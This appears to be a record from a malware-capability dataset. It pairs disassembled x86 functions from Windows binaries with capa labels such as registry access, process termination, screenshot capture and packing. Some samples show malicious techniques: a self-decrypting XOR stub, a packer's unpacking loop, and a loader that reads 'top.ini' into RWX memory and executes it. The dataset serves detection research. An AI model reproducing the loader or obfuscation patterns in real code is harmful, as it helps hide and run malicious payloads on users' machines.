joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40160d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44507c]
jne 0x401617
repz ret
jmp fcn.00401fa0

Function at 0x406bcc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44507c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040454b
and dword [ebp - 0x14], 0
cmp dword [0x447a58], 0
mov dword [ebp - 0x18], eax
jne 0x406c7f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x406d27
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x406d27
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x447a58], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x447a5c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x447a60], eax
call edi
push eax
call esi
mov dword [0x447a68], eax
test eax, eax
je 0x406c7f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x447a64], eax
mov eax, dword [0x447a64]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x406cd8
cmp dword [0x447a68], ecx
je 0x406cd8
push eax
call esi
push dword [0x447a68]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x406cd8
test ebx, ebx
je 0x406cd8
call edi
test eax, eax
je 0x406ccf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x406ccf
test byte [ebp - 8], 1
jne 0x406cd8
or dword [ebp + 0x10], 0x200000
jmp 0x406d0b
mov eax, dword [0x447a5c]
cmp eax, dword [ebp - 0x18]
je 0x406d0b
push eax
call esi
test eax, eax
je 0x406d0b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x406d0b
mov eax, dword [0x447a60]
cmp eax, dword [ebp - 0x18]
je 0x406d0b
push eax
call esi
test eax, eax
je 0x406d0b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x447a58]
call esi
test eax, eax
je 0x406d27
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x406d29
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040160d
leave
ret
Function at 0x406968
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
test eax, eax
jle 0x4069a1
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404120
jmp 0x4069aa
mov eax, ebx
mov edx, esi
call fcn.00404084
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4069b4
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA_1
test eax, eax
jle 0x4069d6
movzx eax, byte [esp]
jmp 0x4069d8
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x407068
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x406ee0
mov eax, dword [0x422348]
cmp byte [eax], 0
je 0x4070e4
mov eax, dword [0x4222a4]
call fcn.00402f88
call fcn.00402dac
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00405e28
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40712c
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
jmp 0x40711a
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x422284]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4257f0]
call fcn.00404698
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x56e820
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x508015
lea edi, [esi - 0x107015]
lea eax, [edi + 0x1253b0]
push dword [eax]
mov dword [eax], 0xf0ba481a
push eax
push edi
or ebp, 0xffffffff
jmp 0x56e852
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x56e859
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x56e848
mov eax, 1
add ebx, ebx
jne 0x56e86b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x56e87c
jne 0x56e89b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x56e89b
dec eax
add ebx, ebx
jne 0x56e888
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x56e860
add ebx, ebx
jne 0x56e897
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x56e8ed
xor ecx, ecx
sub eax, 3
jb 0x56e8b3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x56e922
sar eax, 1
mov ebp, eax
jmp 0x56e8be
add ebx, ebx
jne 0x56e8be
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x56e88c
inc ecx
add ebx, ebx
jne 0x56e8cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x56e88c
add ebx, ebx
jne 0x56e8d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x56e8ce
jne 0x56e8ea
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x56e8ce
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x56e90c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x56e8fe
jmp 0x56e84e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x56e90c
add edi, ecx
jmp 0x56e84e
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x5797
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x56e92e
cmp byte [edi], 0x21
jne 0x56e92e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x56e933
lea edi, [esi + 0x16c000]
mov eax, dword [edi]
or eax, eax
je 0x56e9a2
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x16e000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x16e050]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x56e960
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x16e058]
or eax, eax
je 0x56e99c
mov dword [ebx], eax
add ebx, 4
jmp 0x56e97d
call dword [esi + 0x16e054]
mov ebp, dword [esi + 0x16e05c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x16e9fd]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x56e9ee
sub esp, 0xffffff80
jmp 0x4014a0
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 1
xor ebx, ebx
push ebx
xor eax, eax
push ebx
mov word [0x1000302e], ax
push 0x1000202c
lea eax, [ebp - 8]
push eax
push ebx
mov dword [ebp - 8], 0x6e65706f
mov byte [ebp - 4], bl
call esi
push 1
push ebx
push ebx
mov eax, 0x10002030
push eax
push eax
push ebx
call esi
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + str.desk]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x10001195
push edi
push 0x40
mov eax, 0x1000
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x100011c9
push ebx
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
push 0x80
push 3
movsd dword es:[edi], dword [esi]
push ebx
push 1
movsd dword es:[edi], dword [esi]
push 0x80000000
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000121e
push ebx
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop esi
pop ebx
leave
ret 0x10
Function at 0x40280b
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
mov eax, dword [0x411008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x4b0], edx
mov dword [ebp - 0x4b8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [ebp - 0x4ac], esi
push edi
test edx, edx
je 0x402a34
test ebx, ebx
je 0x402a34
test eax, eax
je 0x402a34
push esi
call dword [sym.imp.USER32.dll_GetWindowDC]
push eax
mov dword [ebp - 0x498], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, eax
lea eax, [ebp - 0x240]
push eax
push esi
mov dword [ebp - 0x4a8], edi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 0x234]
sub ecx, dword [ebp - 0x23c]
sub eax, dword [ebp - 0x240]
and eax, 0xfffffffc
mov dword [ebp - 0x4a0], ecx
push ecx
push eax
push dword [ebp - 0x498]
mov dword [ebp - 0x49c], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov esi, eax
push esi
push edi
mov dword [ebp - 0x494], esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
mov dword [ebp - 0x4a4], eax
xor eax, eax
push eax
push eax
push dword [ebp - 0x498]
push dword [ebp - 0x4a0]
push dword [ebp - 0x49c]
push eax
push eax
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
lea eax, [ebp - 0x4d0]
push eax
push 0x18
push esi
call dword [sym.imp.GDI32.dll_GetObjectW]
mov esi, dword [ebp - 0x4c4]
imul esi, dword [ebp - 0x4c8]
push esi
call fcn.004091c7
pop ecx
push eax
push esi
push dword [ebp - 0x494]
mov dword [ebp - 0x4b4], eax
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0xb
pop ecx
push 0x250
lea eax, [ebp - 0x490]
mov esi, str.D:PrintImage20141231
lea edi, [ebp - 0x30]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x490]
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x4029da
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x200
lea eax, [ebp - 0x230]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x230]
push str._s_lu.jpg
push eax
call fcn.00402dee
add esp, 0x10
lea ecx, [ebp - 0x504]
call fcn.004021be
mov eax, dword [ebp - 0x494]
push ecx
lea ecx, [ebp - 0x504]
mov dword [ebp - 0x500], eax
call fcn.004025aa
push ecx
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x504]
call fcn.00402355
lea ecx, [ebp - 0x504]
call fcn.00402235
push dword [ebp - 0x4a4]
mov edi, dword [ebp - 0x4a8]
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push dword [ebp - 0x494]
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
call esi
push edi
call esi
push dword [ebp - 0x498]
push dword [ebp - 0x4ac]
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, dword [ebp - 0x4b0]
mov ecx, dword [ebp - 0x4b4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x49c]
mov ecx, dword [ebp - 0x4a0]
mov dword [ebx], eax
mov eax, dword [ebp - 0x4b8]
mov dword [eax], ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409178
leave
ret
Function at 0x402b5e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 8]
xor edi, edi
push eax
push 1
push edi
mov ebx, edx
mov dword [ebp - 8], edi
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x402bad
push eax
push ebx
push str.ReadRegValueStr___s_Open_failed:_lu
push str.AudioVideoDocUtil
push 2
push str.func
push 0xf8
push str.file
call fcn.00401d43
add esp, 0x20
xor eax, eax
jmp 0x402c7e
mov eax, 0x400
push eax
mov dword [ebp - 4], eax
call fcn.004091c7
pop ecx
push dword [ebp - 4]
mov esi, eax
push edi
push esi
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
mov dword [ebp - 0xc], edi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push edi
push 0x40e868
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
cmp edi, 0xea
jne 0x402c2d
push esi
call fcn.004091f3
pop ecx
push dword [ebp - 4]
call fcn.004091c7
pop ecx
push dword [ebp - 4]
mov esi, eax
push 0
push esi
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push 0
push 0x40e868
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
je 0x402c66
push edi
push 0x40e868
push ebx
push str.ReadRegValueStr__RegQueryValue_failed__Key_s_s__lRet_ld
push str.AudioVideoDocUtil
push 2
push str.func
push 0x10f
push str.file
call fcn.00401d43
add esp, 0x24
jmp 0x402c70
mov ecx, dword [ebp + 0xc]
push esi
call dword [sym.imp.Common.dll_public:_class_CTXStringW____thiscall_CTXStringW::operator_wchar_t__]
push esi
call fcn.004091f3
xor eax, eax
test edi, edi
pop ecx
sete al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402c83
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 2
push ebx
mov edi, edx
mov dword [ebp - 4], ebx
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x402ccc
push eax
push edi
push str.SetRegValueStr___s_Open_failed:_lu
push str.AudioVideoDocUtil
push 2
push str.func
push 0x120
push str.file
call fcn.00401d43
add esp, 0x20
jmp 0x402d31
lea ecx, [ebp + 0x10]
call dword [sym.imp.Common.dll_public:_int___thiscall_CTXStringW::GetLength_void_const]
mov esi, eax
lea ecx, [ebp + 0x10]
add esi, esi
call dword [sym.imp.Common.dll_public:_wchar_t_const____thiscall_CTXStringW::GetString_void_const]
push esi
push eax
push 1
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x402d2a
push esi
push dword [ebp + 8]
push edi
push str.SetRegValueStr__RegSetValue_failed__Key_s_s__lRet_ld
push str.AudioVideoDocUtil
push 2
push str.func
push 0x12a
push str.file
call fcn.00401d43
add esp, 0x24
xor ebx, ebx
test esi, esi
sete bl
lea ecx, [ebp + 0x10]
call dword [sym.imp.Common.dll_public:_void___thiscall_CTXStringW::destructor_void_]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x402d41
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor edi, edi
push eax
push 0x20006
push edi
mov esi, edx
mov dword [ebp - 8], edi
push esi
push SysReAllocString
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x402d97
push eax
push esi
push str.SetRegValueStr___s_Open_failed:_lu
push str.AudioVideoDocUtil
push 2
push str.func
push 0x15f
push str.file
call fcn.00401d43
add esp, 0x20
xor eax, eax
jmp 0x402de9
push 4
lea eax, [ebp - 8]
mov ebx, str.AppMaximized
push eax
push 4
push edi
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
je 0x402de6
push edi
push ebx
push esi
push str.SetRegValueDWord__RegSetValueEx_failed__Key_s_s__lRet_ld
push str.AudioVideoDocUtil
push 2
push str.func
push 0x16a
push str.file
call fcn.00401d43
add esp, 0x24
jmp 0x402d93
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4038c8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push ebx
push esi
push edi
push eax
call fcn.004026db
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 4]
mov edi, str.AudioVideoCTXPptCtrl
mov ebx, str.func
push str.TerminatePptProcess__dwProcId_lu
push edi
push 2
push ebx
push 0x1d8
push str.file
call fcn.00401d43
add esp, 0x1c
cmp dword [ebp - 4], 0
je 0x40397f
push dword [ebp - 4]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40395d
push 4
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x403954
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.TerminatePptProcess___TerminateProcess___failed__hProcess0x_08X__dwErr_lu
push edi
push 2
push ebx
push 0x1e3
push str.file
call fcn.00401d43
add esp, 0x20
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40397f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.TerminatePptProcess___OpenProcess_PROCESS_TERMINATE__failed__dwErr_lu
push edi
push 2
push ebx
push 0x1e9
push str.file
call fcn.00401d43
add esp, 0x1c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405c1d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4114b8]
sub esp, 0xc
push edi
push 0x60
pop edi
test eax, eax
jne 0x405c83
push esi
lea eax, [ebp - 4]
mov dword [0x4114b8], edi
push eax
push 1
xor esi, esi
push esi
push str.Control_PanelDesktop
push SysReAllocString
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405c7d
lea eax, [ebp - 8]
mov dword [ebp - 0xc], esi
push eax
push 0x4114b8
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 4
push eax
push esi
push str.LogPixels
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [0x4114b8]
pop esi
cmp eax, 0x78
cmove eax, edi
mov dword [0x4114b8], eax
pop edi
leave
ret
Function at 0x40638f
Capabilities:
Get routing table

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetIpForwardTable]
lea eax, [ebp - 4]
push edi
push 1
xor edi, edi
push eax
push edi
mov dword [ebp - 4], edi
call esi
cmp dword [ebp - 4], edi
je 0x40646c
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
pop ecx
test ebx, ebx
je 0x40646c
push dword [ebp - 4]
push edi
push ebx
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
lea eax, [ebp - 4]
push 1
push eax
push ebx
call esi
test eax, eax
je 0x40640c
cmp dword [0x4114f4], 2
jne 0x406403
push str.GetIpForwardTable_fail_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
pop ecx
push eax
call fcn.00406339
pop ecx
pop ecx
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x40648a
mov ecx, edi
mov dword [ebp - 8], ecx
cmp dword [ebx], edi
jbe 0x406460
lea eax, [ebx + 4]
mov dword [ebp - 0xc], eax
cmp dword [0x4114f4], 2
jne 0x406449
mov esi, dword [eax + 4]
mov edi, dword [eax]
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push esi
push edi
push str.MIB_IPFORWARDROW__lu__lu_n
push eax
call fcn.00406339
mov eax, dword [ebp - 0xc]
add esp, 0x14
mov ecx, dword [ebp - 8]
xor edi, edi
cmp dword [eax], edi
jne 0x406452
cmp dword [eax + 4], edi
je 0x406403
inc ecx
add eax, 0x38
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [ebx]
jb 0x40641b
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x40648e
cmp dword [0x4114f4], 2
jne 0x40648b
push str.size__0__malloc_fail_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
pop ecx
push eax
call fcn.00406339
pop ecx
pop ecx
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406493
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
mov eax, dword [0x411008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x800
xor edi, edi
lea eax, [ebp - 0x804]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
push 0xffffffffffffffff
push str.SOFTWARETencent_bugReport_
mov esi, 0x400
lea eax, [ebp - 0x804]
push esi
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
push 0x4114f8
lea eax, [ebp - 0x804]
push esi
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0x28
lea eax, [ebp - 0x808]
push eax
push 0x20019
push edi
lea eax, [ebp - 0x804]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40656a
push 4
pop esi
lea eax, [ebp - 0x814]
mov dword [ebp - 0x80c], edi
push eax
lea eax, [ebp - 0x80c]
mov dword [ebp - 0x814], esi
push eax
lea eax, [ebp - 0x810]
mov dword [ebp - 0x810], edi
push eax
push edi
push str.lcdbg
push dword [ebp - 0x808]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x808]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x80c]
xor ecx, ecx
cmp dword [ebp - 0x810], esi
cmovne eax, ecx
jmp 0x40656c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00409178
leave
ret

Function at 0x406b4b
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x411008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x4114c5], 0
push esi
push edi
jne 0x406c1a
mov byte [0x4114c5], 1
test ecx, ecx
je 0x406c1a
xor edi, edi
cmp word [ecx], di
je 0x406c1a
push 0xffffffffffffffff
push ecx
push 0x21
mov esi, 0x4114f8
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
push 0x64
lea eax, [ebp - 0x68]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x1c
lea eax, [ebp - 0x68]
push edi
push edi
push 0x63
push eax
push 0xffffffffffffffff
push esi
push edi
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0xffffffffffffffff
lea eax, [ebp - 0x68]
push eax
push 0x21
push 0x41153c
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
add esp, 0x10
cmp byte [0x41153c], 0
je 0x406c1a
mov eax, dword [ebp + 0xc]
mov dword [0x411560], eax
lea eax, [ebp - 0x6c]
push eax
push 4
push edi
push 0x40657a
push edi
push edi
mov dword [ebp - 0x6c], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x406c1a
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x406c1d
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00409178
leave
ret